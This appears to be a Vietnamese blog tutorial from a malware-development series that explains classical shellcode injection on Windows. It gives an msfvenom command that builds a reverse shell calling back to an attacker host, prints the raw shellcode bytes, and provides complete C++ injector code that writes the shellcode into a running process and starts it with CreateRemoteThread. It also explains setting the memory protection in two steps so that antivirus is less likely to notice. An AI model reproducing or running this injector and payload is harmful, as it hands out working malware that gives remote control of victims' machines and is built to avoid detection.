## Mở Đầu
:rocket: Chào mừng các bạn đến với bài viết thứ ba trong loạt bài về phát triển malware của mình! Trong bài viết này, mình sẽ đề cập đến kỹ thuật **Classical Shellcode Injection**. Đây là một kỹ thuật code injection, nó thực hiện việc chèn shellcode để thực hiện chức năng độc hại. Không chần chừ nữa, cùng mình bắt đầu ngay bài viết ngay thôi! :smiley:
## Đôi Chút Lý Thuyết
Trong bài viết trước, mình đã giới thiệu về cách hoạt động của classical DLL injection và cũng đề cập đến một số nhược điểm của nó, bao gồm việc sử dụng `LoadLibrary()` để nạp DLL và cần phải lưu trữ DLL trên ổ cứng máy tính trước khi nạp, điều này có thể thu hút sự chú ý của các trình antivirus (AV).

Để khắc phục những nhược điểm này, ta có thể sử dụng kỹ thuật classical shellcode injection. Thay vì chèn một DLL, kỹ thuật này lại chèn trực tiếp shellcode vào target process. Vậy lợi ích của việc chèn shellcode thay vì DLL là gì? :thinking_face:
Trong kỹ thuật classical DLL injection, ta sẽ chèn một DLL hoàn chỉnh vào target process thông qua `LoadLibrary()`. DLL này chứa một PE header ở đầu, sau đó là code và các thông tin khác như import table và relocation table. PE header cung cấp các thông tin cần thiết cho Windows loader để nạp DLL lên bộ nhớ của target process, quá trình này bao gồm cả việc phân giải địa chỉ trong import table và relocation table.

Ngược lại, shellcode lại là một đoạn mã máy nhỏ và không có PE header. Do không có PE header nên shellcode không thể được nạp bằng `LoadLibrary()` hoặc Windows loader. Điều này tạo nên điểm mấu chốt của kỹ thuật classical shellcode injection: không cần sử dụng `LoadLibrary()` để chèn shellcode vào target process và không cần lưu trữ shellcode trên đĩa cứng trước khi chèn, điều này giúp giảm khả năng bị phát hiện và cũng giảm kích thước của malware. Tuy nhiên, nhược điểm của việc này là shellcode phải tự thực hiện các quá trình như phân giải địa chỉ trong import table, relocation table, vì không có sự hỗ trợ từ Windows loader.

## Các bước thực hiện Classical Shellcode Injection
Về quy trình triển khai, kỹ thuật classical shellcode injection khá giống với classical DLL injection, ngoại trừ việc không sử dụng API `LoadLibrary()`. Dưới đây là các bước chi tiết để thực hiện kỹ thuật classical shellcode injection:
1. **Xác định PID của target process**: Sử dụng các API để xác định Process ID (PID) của target process mà ta muốn chèn shellcode vào.
2. **Cấp phát bộ nhớ trong không gian địa chỉ của target process:** Sử dụng API `VirtualAllocEx()` để cấp phát bộ nhớ trong không gian địa chỉ của target process. Để có thể sao chép shellcode vào bộ nhớ vừa được cấp phát thì bộ nhớ này phải có protection `PAGE_WRITE`.
3. **Sao chép shellcode vào bộ nhớ của target process:** Sử dụng API `WriteProcessMemory()` để sao chép shellcode có sẵn từ injector process vào bộ nhớ đã cấp phát trong target process.
4. **Gọi hàm CreateRemoteThread():** Sử dụng API `CreateRemoteThread()` để tạo một thread trong target process. Sau khi thread được tạo, nó sẽ thực hiện chức năng của đoạn mã shellcode đã được chèn.
## Triển khai Classical Shellcode Injection
### :eight_spoked_asterisk: Tạo shellcode và lắng nghe kết nối ở phía attacker
Đầu tiên, mình tạo shellcode bằng metasploit. Shellcode này khi được thực thi sẽ cung cấp shell của máy victim cho máy attacker. Sử dụng lệnh bên dưới để tạo shellcode.
```powershell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.15 LPORT=8085 -f c
```

Tiếp theo, mình chuẩn bị một máy attacker để lắng nghe kết nối đến từ máy victim ở port 8085 bằng công cụ Netcat.

### :eight_spoked_asterisk: Injector code
Đoạn code bên dưới sẽ thực hiện chức năng của injector dựa theo các bước cụ thể mà mình đã đề cập.
```cpp=
#include<stdio.h>
#include<Windows.h>
#include<stdlib.h>
BYTE shellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00"
"\x00\x49\x89\xe5\x49\xbc\x02\x00\x1f\x95\x0a\x00\x02\x0f"
"\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
"\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
"\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
"\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea"
"\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89"
"\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81"
"\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00"
"\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0"
"\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41"
"\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d"
"\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48"
"\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5"
"\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
int main(int argc, char** argv) {
BOOL bStatus = FALSE;
UINT_PTR uiAllocAddress = 0;
HANDLE hTargetProcess = NULL,
hTargetThread = NULL;
DWORD dwTargetProcessId = 0,
dwByteWrite = 0,
dwThreadId = 0,
dwWaitState = 0,
dwExitCode = 1,
dwOldProtect = 0;
// get pid of the target process
if (argc != 2) {
printf("[-] Usage: %s <target process id>", argv[0]);
goto EXIT;
}
dwTargetProcessId = atoi(argv[1]);
printf("[+] Target process id: %d\n", dwTargetProcessId);
// get handle of the target process
hTargetProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE,
dwTargetProcessId
);
if (!hTargetProcess) {
printf("[-] Failed to open the target proces. \
Error code = %d\n", GetLastError());
goto EXIT;
}
// allocate virtual memory on the target process
uiAllocAddress = VirtualAllocEx(
hTargetProcess,
NULL,
sizeof(shellCode),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if (!uiAllocAddress) {
printf("[-] Failed to allocate memory in the target process. \
Error code = %d\n", GetLastError());
goto EXIT;
}
printf("[+] Address of allocated memory: %p\n", uiAllocAddress);
// write shell code to the allocated memory
bStatus = WriteProcessMemory(
hTargetProcess,
uiAllocAddress,
shellCode,
sizeof(shellCode),
&dwByteWrite
);
if (!bStatus) {
printf("[-] Failed to write shell code in the target process. \
Error code = %d\n", GetLastError());
goto EXIT;
}
// change the protection of the target process
bStatus = VirtualProtectEx(
hTargetProcess,
uiAllocAddress,
sizeof(shellCode),
PAGE_EXECUTE,
&dwOldProtect
);
if (!bStatus) {
printf("[-] Failed to change the protect in the target process. \
Error code = %d\n", GetLastError());
goto EXIT;
}
// create a thread in target process
hTargetThread = CreateRemoteThread(
hTargetProcess,
NULL,
0,
uiAllocAddress,
NULL,
0,
&dwThreadId
);
if (!hTargetThread) {
printf("[-] Failed to create a remote thread in the target process. \
Error code = %d\n", GetLastError());
goto EXIT;
}
printf("[+] Create a remote thread success\n");
// wait for the remote thread return
dwWaitState = WaitForSingleObject(hTargetThread, INFINITE);
if (WAIT_FAILED == dwWaitState) {
printf("[-] Failed to wait the remote thread. \
Error code = %d\n", GetLastError());
goto EXIT;
}
printf("[+] Remote thread exited\n");
dwExitCode = 0;
EXIT:
if (hTargetProcess) CloseHandle(hTargetProcess);
if (hTargetThread) CloseHandle(hTargetThread);
return dwExitCode;
}
```
Ở đoạn code trên, mình sử dụng `VirtualAllocEx()` để cấp phát bộ nhớ với protection là `PAGE_READ` và `PAGE_WRITE`. Sau khi sao chép shellcode vào bộ nhớ này thì mình tiếp tục dùng `VirtualProtectEx()` để thay đổi protection của bộ nhớ thành `PAGE_EXECUTE`. Đến đây, mình nghĩ rằng có nhiều bạn thắc mắc rằng tại sao phải cấp phát bộ nhớ với protection `PAGE_READ` và `PAGE_WRITE` rồi sau đó thay đổi protection thành `PAGE_EXECUTE` trong khi có thể cấp phát bộ nhớ với cả 3 protection `PAGE_READ`, `PAGE_WRITE`, và `PAGE_EXECUTE` ngay từ đầu mà chẳng cần phải dùng đến `VirtualProtectEx()` ? :thinking_face:
Lí do chính cho việc này là để tránh bị phát hiện từ các AV trên máy victim. Hệ điều hành Windows có một cơ chế bảo vệ bộ nhớ được gọi là `DEP` (Data Execution Prevention), nó có chức năng ngăn chặn việc thực thi mã từ các vùng bộ nhớ chỉ được đánh dấu là có thể đọc và ghi (`PAGE_READ` và `PAGE_WRITE`). Nếu ngay từ đầu, ta cấp phát bộ nhớ với cả 3 protection là `PAGE_READ`, `PAGE_WRITE`, và `PAGE_EXECUTE` thì điều này đã đi ngược với quy tắc thiết kế của hệ điều hành, và có thể thu hút sự chú ý từ các AV hoặc cơ chế bảo mật khác.

### :eight_spoked_asterisk: Chạy payload ở phía victim
Sau khi xây dựng xong injector, mình thực hiện chạy thử nó trên máy victim. Trong quá trình này, mình chọn target process là notepad.exe với pid là 3060. Kết quả cuối cùng là máy attacker đã thành công trong việc nhận được remote shell từ máy victim, hình dưới minh họa quá trình này.

## Kết luận
Trong bài viết này, mình đã giới thiệu về kỹ thuật classical shellcode injection và so sánh những ưu điểm của nó so với kỹ thuật classical DLL injection. Ngoài những lợi ích đã nêu, classical shellcode injection cũng mang theo một số hạn chế.
Một trong những hạn chế đó là việc tự chuẩn bị shellcode yêu cầu kiến thức lập trình sâu rộng, vì shellcode phải tự thực hiện các chức năng thay thế cho Windows loader. Điều này đòi hỏi kỹ năng chuyên sâu trong việc tương tác trực tiếp với hệ thống và quy trình thấp cấp, điều mà không phải tất cả các lập trình viên đều có.
Tuy nhiên, mặc dù classical shellcode injection có nhược điểm này, nó vẫn là một lựa chọn hữu ích trong một số tình huống cụ thể, đặc biệt là khi cần thiết lập sự linh hoạt và tránh được sự phát hiện từ các cơ chế bảo mật.
:::warning
:zap: Lưu ý rằng, bài viết chỉ mang tính chất giáo dục và không khuyến khích việc sử dụng thông tin để thực hiện các hoạt động xấu hay bất hợp pháp. Nếu có thắc mắc hay ý kiến, đừng ngần ngại chia sẻ với mình để làm cho bài viết trở nên tốt hơn. :heart_eyes:
:::
## Tham khảo
Dưới đây là một số tài liêu mà mình đã tham khảo:
* [https://learn.microsoft.com/en-us/windows/win32/memory/data-execution-prevention](https://learn.microsoft.com/en-us/windows/win32/memory/data-execution-prevention)
* [https://cocomelonc.github.io/tutorial/2021/09/18/malware-injection-1.html](https://cocomelonc.github.io/tutorial/2021/09/18/malware-injection-1.html)